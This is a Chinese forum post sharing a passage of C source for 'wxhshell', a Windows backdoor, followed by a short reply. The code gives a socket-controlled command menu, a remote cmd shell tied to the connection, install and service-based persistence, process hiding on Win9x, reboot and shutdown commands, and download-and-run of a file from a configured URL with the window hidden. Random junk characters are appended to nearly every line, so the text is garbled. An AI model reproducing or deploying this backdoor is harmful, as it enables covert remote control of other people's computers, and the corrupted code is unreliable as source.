  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }4G/x;D  
  } ~2 aR>R_nT  
  else { b5WtL+Z  
z+IHt(  
    switch(cmd[0]) { O*% 1   
  7;0$UYDU*  
  // 帮助 K??(>0Qr}r  
  case '?': { n:QFwwQ`Q;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^yLiyRe\  
    break; IJX75hE0g  
  } eru2.(1  
  // 安装 es]S]}JV  
  case 'i': { o[<lTsw<  
    if(Install()) tx0`#x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9?M>Y?4  
    else .A 12Co  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2e~ud9,  
    break; { |dU|h  
    } -jN:~.  
  // 卸载 G.Z4h/1<  
  case 'r': { Z*r;"WHB  
    if(Uninstall()) bEx8dc`Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NlLgXn!  
    else Tgxxm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B#Sg:L9Tr'  
    break; ;yd[QT<I<  
    } S#gIfb<D  
  // 显示 wxhshell 所在路径 !l2=J/LJj  
  case 'p': { qU!xh )  
    char svExeFile[MAX_PATH]; }~/u%vI@M5  
    strcpy(svExeFile,"\n\r"); kC : pal  
      strcat(svExeFile,ExeFile); A\Ax5eeL  
        send(wsh,svExeFile,strlen(svExeFile),0); dt -EY  
    break; ^uZ!e+   
    } "`A@_;At`  
  // 重启 @log=^  
  case 'b': { _Nze="Pt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H|V q  
    if(Boot(REBOOT)) KBVW <;C$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &+"-'7  
    else { -TL `nGF  
    closesocket(wsh); @C\>P49  
    ExitThread(0); 47 ]?7GU,  
    } fg[]>:ZT.  
    break; 'dTJE--@  
    } 24 )Sf  
  // 关机 2VSs#z!  
  case 'd': { f9`F~6$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LojEJ  
    if(Boot(SHUTDOWN)) 6:PQkr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;4E(n  
    else { F|Y}X|x8Q  
    closesocket(wsh); <qGVOAnz+  
    ExitThread(0); Z]Zs"$q@  
    } mv%Zh1khn/  
    break; 'ju  
    } e-@=QI^,  
  // 获取shell o XKH,r  
  case 's': { I,rs&m?/m  
    CmdShell(wsh); V s/Z8t  
    closesocket(wsh); > J!J:  
    ExitThread(0); Mv\odf\]  
    break; ,gdf7&r  
  } p xj}%LH  
  // 退出 s#f6qj  
  case 'x': { I @sXmC2$\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CqF= 5z:A  
    CloseIt(wsh); 4 VPJv>^  
    break; Y$tgz)  
    } +A 3Q$1F  
  // 离开 [xaglZ9HNo  
  case 'q': { 4KO2oIR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kTCWyc  
    closesocket(wsh); Kr;7~`$[  
    WSACleanup(); :#yjg1aej  
    exit(1); _1<zpHp  
    break; 0/r\#"+XT  
        } G/cE2nD  
  } _PI w""ssr  
  } 'Cc(}YY0C  
K9-?7X  
  // 提示信息 0u,OW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fe,A\W&8  
} $ U~3$*R  
  } f;Cu@z{b  
{9 PeBc  
  return; gy%/zbZx  
} T(n<@Ac]V  
x+mf QcSD&  
// shell模块句柄 wF@mHv  
int CmdShell(SOCKET sock) .bwKG`F  
{ d{~5tv- H  
STARTUPINFO si; =CCxY7)M+.  
ZeroMemory(&si,sizeof(si)); 4^? J BpBZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C^dnkuA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /.?m9O^ F  
PROCESS_INFORMATION ProcessInfo; DA0{s  
char cmdline[]="cmd"; $}9.4` F>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K5oVB,z)  
  return 0; m{~p(sQL  
} ]GSs{'Uh B  
>Ei-Spy>Xl  
// 自身启动模式 :yLSLN  
int StartFromService(void) g{]C@,W  
{ uU7s4oJ|  
typedef struct h`1{tu  
{ j|WuOZm\0  
  DWORD ExitStatus; ISp'4H7R+N  
  DWORD PebBaseAddress; CB7 6  
  DWORD AffinityMask; Oyfc!  
  DWORD BasePriority; }!^/<|$=  
  ULONG UniqueProcessId; 9/La _ :K  
  ULONG InheritedFromUniqueProcessId; 7<'4WHi;@s  
}   PROCESS_BASIC_INFORMATION; 3]*_*<D  
2E@ !  
PROCNTQSIP NtQueryInformationProcess; upD 2vtU  
;k<n}shD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (3H'!P7|~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t1y hU"(J  
319 &:  
  HANDLE             hProcess; L}>XH*  
  PROCESS_BASIC_INFORMATION pbi; *2$I, ~(P  
<($'jlZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ym)8L.  
  if(NULL == hInst ) return 0; `L-GI{EJ  
 P[l?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6NvdFss'A{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p4ML } q8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sz5&P )X  
> @Ux8#  
  if (!NtQueryInformationProcess) return 0; -ZmccT"8  
O{sb{kk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G!y~Y]e  
  if(!hProcess) return 0; kQr\ktN\  
K):MT[/"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SBj9sFZ  
U\_-GS;1  
  CloseHandle(hProcess); p6qza @  
j'z}m+_?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ciq'fy  
if(hProcess==NULL) return 0; G=[ =[o\  
i2PPVT  
HMODULE hMod; D~KEjz!bQ  
char procName[255]; hXvg<Rf  
unsigned long cbNeeded; ?5%0zMC  
oZ)\Ya=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XT n`$}nz  
^>g7Kg"0  
  CloseHandle(hProcess); |{KZ<  
,ZVC@P,L  
if(strstr(procName,"services")) return 1; // 以服务启动 -I#]#i@gX  
LD'eq\vO  
  return 0; // 注册表启动 sj)$o94=  
} o6FSSKM  
l'_P]@*  
// 主模块 Lyx \s;  
int StartWxhshell(LPSTR lpCmdLine) sT.:"Pj$  
{ H;QE',a9+i  
  SOCKET wsl; AfzE0mBW  
BOOL val=TRUE; S{ v [65  
  int port=0; ;ew3^i.du  
  struct sockaddr_in door; 1:.0^?Gz  
F2;k6M@  
  if(wscfg.ws_autoins) Install(); sC8C><y  
8P wobln  
port=atoi(lpCmdLine); +1K9R\  
!y8/El  
if(port<=0) port=wscfg.ws_port; l?+67cQLA  
XJ3 5Z+M  
  WSADATA data; _L?`C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U!GG8;4  
O23dtH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :{iS0qJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t%<@k)hd~G  
  door.sin_family = AF_INET; <i~MBy. (  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MX=mGfoa  
  door.sin_port = htons(port); |.A#wjF9  
cU,]^/0Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rt\i@}  
closesocket(wsl); A4}6hG#  
return 1; hFDY2Cp]D  
} $'SWH+G  
$6BD6\@  
  if(listen(wsl,2) == INVALID_SOCKET) { yu3T5@Ww  
closesocket(wsl); Gw"H#9J} T  
return 1; [LwmzmV+F  
} vJX3fE }F  
  Wxhshell(wsl); Ms^U`P^V~P  
  WSACleanup(); :hre|$@{a  
E!d;ym  
return 0; r!qr'Ht<  
ZH9sf~7  
} Q:.q*I!D<4  
(lDbArqy  
// 以NT服务方式启动 n[jyhBf\W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VA9" Au  
{ k<mfBNvuo  
DWORD   status = 0; 83"Vh$&  
  DWORD   specificError = 0xfffffff; .%{3#\  
a$ f$CjQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Kh)SgJ3B@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <NV[8B#k]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9{gY|2R_  
  serviceStatus.dwWin32ExitCode     = 0; 6}aIb.j  
  serviceStatus.dwServiceSpecificExitCode = 0; kPN:m ow  
  serviceStatus.dwCheckPoint       = 0; jU1([(?"  
  serviceStatus.dwWaitHint       = 0; /{eD##vhP  
s~ZLnEb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `QH-VR\_  
  if (hServiceStatusHandle==0) return; NaeG2>1  
x|#R$^4CY  
status = GetLastError(); JXG%Cx!2}  
  if (status!=NO_ERROR) S#IlWU  
{ Cr?|bDv}o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !J3dlUFRO  
    serviceStatus.dwCheckPoint       = 0; qpo3b7(N  
    serviceStatus.dwWaitHint       = 0; #nQZ/[|  
    serviceStatus.dwWin32ExitCode     = status; ac8+?FpK #  
    serviceStatus.dwServiceSpecificExitCode = specificError; +|#lUXC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t'msgC6=>u  
    return; WJefg  
  } h J*2q"  
Lh0qB)>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X.u&4SH  
  serviceStatus.dwCheckPoint       = 0; ` XAlzI  
  serviceStatus.dwWaitHint       = 0; `|Aj3a3sND  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [TUy><Z  
} dQD YN_  
_K(w &Kr  
// 处理NT服务事件,比如:启动、停止 7Y`/w$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )<_e{_ h  
{ '&?OhSeN  
switch(fdwControl) D%L}vugxK  
{ *v+xKy#M  
case SERVICE_CONTROL_STOP: lTl-<E;  
  serviceStatus.dwWin32ExitCode = 0; tI2V)i!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7 &y'\  
  serviceStatus.dwCheckPoint   = 0; D6cqON0a.  
  serviceStatus.dwWaitHint     = 0; [ML%u$-  
  { oBfh1/< <a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "bI'XaSv  
  } )%8 ;C]G;  
  return; c{YBCWA  
case SERVICE_CONTROL_PAUSE: Up:<NHJT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2Zf} t  
  break; G}!dm0s$  
case SERVICE_CONTROL_CONTINUE: ~Z74e>V%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _J'V5]=4  
  break; :~K c"Pg  
case SERVICE_CONTROL_INTERROGATE: oD_n+95B  
  break; IYeX\)Gv&  
}; )f#raXa5+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); blbL49;  
} o:`>r/SlL  
XH9Y|FX%#  
// 标准应用程序主函数 WCK;r{p%I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FW](GWp`:  
{ S8 +GM  
Q8] lz}  
// 获取操作系统版本 $)UMRG  
OsIsNt=GetOsVer(); 0L3v[%_j"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O=2"t%Gc  
{0a (R2nB  
  // 从命令行安装 L>4!@L5)  
  if(strpbrk(lpCmdLine,"iI")) Install(); VB*`"4e@b<  
[sxJ<  
  // 下载执行文件 ,,U8X [A  
if(wscfg.ws_downexe) { oD0WHp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uc>u=kEue  
  WinExec(wscfg.ws_filenam,SW_HIDE); in>Os@e#  
} s L;  
>A'Q9Tia;  
if(!OsIsNt) { azEN_oUV  
// 如果时win9x,隐藏进程并且设置为注册表启动 {51<EvyE*  
HideProc(); O[9>^y\,  
StartWxhshell(lpCmdLine); Dt)O60X3>  
} HF(pC7/a:  
else qnFi./  
  if(StartFromService()) 7x 6q:4Ep\  
  // 以服务方式启动 $~$NQe!/  
  StartServiceCtrlDispatcher(DispatchTable); ]/G~ L  
else x~!gGfP  
  // 普通方式启动 0A]+9@W;  
  StartWxhshell(lpCmdLine); =6PTT$,  
_J|cJ %F>%  
return 0; {KH!PAh  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五